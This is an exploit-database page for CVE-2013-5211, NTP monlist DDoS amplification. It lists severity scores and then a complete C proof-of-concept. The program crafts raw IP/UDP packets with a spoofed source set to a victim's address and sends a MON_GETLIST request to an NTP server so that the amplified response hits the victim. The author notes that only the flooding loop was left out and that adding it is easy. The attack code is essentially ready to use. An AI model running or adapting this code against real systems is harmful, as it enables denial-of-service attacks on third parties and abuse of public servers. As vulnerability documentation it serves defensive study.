ntp monlist DDoS issue Exploit

2014.04.29
Credit: Danilo PC
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

/* * Exploit Title: CVE-2013-5211 PoC - NTP DDoS amplification * Date: 28/04/2014 * Code Author: Danilo PC - <DaNotKnow@gmail.com> * CVE : CVE-2013-5211 */ /* I coded this program to help other to understand how an DDoS attack amplified by NTP servers works (CVE-2013-5211) * I took of the code that generates a DDoS, so this code only sends 1 packet. Why? Well...there's a lot of kiddies out there, * if you know how to program, making a loop or using with other tool is piece of cake. There core idea is there, just use it as you please. */ //------------------------------------------------------------------------------------------------// //------------------------------------------------------------------------------------------------// #include <stdio.h> //For on printf function #include <string.h> //For memset #include <sys/socket.h> //Structs and Functions used for sockets operations. #include <stdlib.h> //For exit function #include <netinet/ip.h> //Structs for IP header //Struct for UDP Packet struct udpheader{ unsigned short int udp_sourcePortNumber; unsigned short int udp_destinationPortNumber; unsigned short int udp_length; unsigned short int udp_checksum; }; // Struct for NTP Request packet. Same as req_pkt from ntpdc.h, just a little simpler struct ntpreqheader { unsigned char rm_vn_mode; /* response, more, version, mode */ unsigned char auth_seq; /* key, sequence number */ unsigned char implementation; /* implementation number */ unsigned char request; /* request number */ unsigned short err_nitems; /* error code/number of data items */ unsigned short mbz_itemsize; /* item size */ char data[40]; /* data area [32 prev](176 byte max) */ unsigned long tstamp; /* time stamp, for authentication */ unsigned int keyid; /* encryption key */ char mac[8]; /* (optional) 8 byte auth code */ }; // Calculates the checksum of the ip header. unsigned short csum(unsigned short *ptr,int nbytes) { register long sum; unsigned short oddbyte; register short answer; sum=0; while(nbytes>1) { sum+=*ptr++; nbytes-=2; } if(nbytes==1) { oddbyte=0; *((u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; } sum = (sum>>16)+(sum & 0xffff); sum = sum + (sum>>16); answer=(short)~sum; return(answer); } //Da MAIN int main(int argc, char **argv) { int status; // Maintains the return values of the functions struct iphdr *ip; // Pointer to ip header struct struct udpheader *udp; // Pointer to udp header struct struct ntpreqheader *ntp; // Pointer to ntp request header struct int sockfd; // Maintains the socket file descriptor int one = 1; // Sets the option IP_HDRINCL of the sockt to tell the kernel that the header are alredy included on the packets. struct sockaddr_in dest; // Maintains the data of the destination address char packet[ sizeof(struct iphdr) + sizeof(struct udpheader) + sizeof(struct ntpreqheader) ]; //Packet itself // Parameters check if( argc != 3){ printf("Usage: ./ntpDdos [Target IP] [NTP Server IP]\n"); printf("Example: ./ntpDdos 1.2.3.4 127.0.0.1 \n"); printf("Watch it on wireshark!\n"); printf("Coded for education purpose only!\n"); exit(1); } // Create a socket and tells the kernel that we want to use udp as layer 4 protocol sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP); if (sockfd == -1){ printf("Error on initializing the socket\n"); exit(1); } //Sets the option IP_HDRINCL status = setsockopt( sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof one); if (status == -1){ printf("Error on setting the option HDRINCL on socket\n"); exit(1); } //"Zeroes" all the packet stack memset( packet, 0, sizeof(packet) ); //Mounts the packet headers // [ [IP HEADER] [UDP HEADER] [NTP HEADER] ] --> Victory!!! ip = (struct iphdr *)packet; udp = (struct udpheader *) (packet + sizeof(struct iphdr) ); ntp = (struct ntpreqheader *) (packet + sizeof(struct iphdr) + sizeof(struct udpheader) ); //Fill the IP Header ip->version = 4; //IPv4 ip->ihl = 5; //Size of the Ip header, minimum 5 ip->tos = 0; //Type of service, the default value is 0 ip->tot_len = sizeof(packet); //Size of the datagram ip->id = htons(1234); //LengthIdentification Number ip->frag_off = 0; //Flags, zero represents reserved ip->ttl = 255; //Time to Live. Maximum of 255 ip->protocol = IPPROTO_UDP; //Sets the UDP as the next layer protocol ip->check = 0; //Checksum. ip->saddr = inet_addr( argv[1] ); //Source ip ( spoofing goes here) ip->daddr = inet_addr( argv[2] ); //Destination IP //Fills the UDP Header udp->udp_sourcePortNumber = htons( atoi( "123" ) ); //Source Port udp->udp_destinationPortNumber = htons(atoi("123")) ; //Destination Port udp->udp_length = htons( sizeof(struct udpheader) + sizeof(struct ntpreqheader) ); //Length of the packet udp->udp_checksum = 0; //Checksum //Calculate the checksums ip->check = csum((unsigned short *)packet, ip->tot_len); //Calculate the checksum for iP header //Sets the destination data dest.sin_family = AF_INET; // Address Family Ipv4 dest.sin_port = htons (atoi( "123" ) ) ; // Destination port dest.sin_addr.s_addr = inet_addr( argv[2] ); // Destination Endereo para onde se quer enviar o pacote //Fills the NTP header //Ok, here is the magic, we need to send a request ntp packet with the modes and codes sets for only MON_GETLIST //To do this we can import the ntp_types.h and use its structures and macros. To simplify i've created a simple version of the // ntp request packet and hardcoded the values for the fields to make a "MON_GETLIST" request packet. // To learn more, read this: http://searchcode.com/codesearch/view/451164#127 ntp->rm_vn_mode=0x17; //Sets the response bit to 0, More bit to 0, Version field to 2, Mode field to 7 ntp->implementation=0x03; //Sets the implementation to 3 ntp->request=0x2a; //Sets the request field to 42 ( MON_GETLIST ) //All the other fields of the struct are zeroed // Sends the packets status = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest) ); if(status <0){ printf("Failed to send the packets\n"); exit(1); } }

References:

http://cxsecurity.com/issue/WLB-2013120196


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top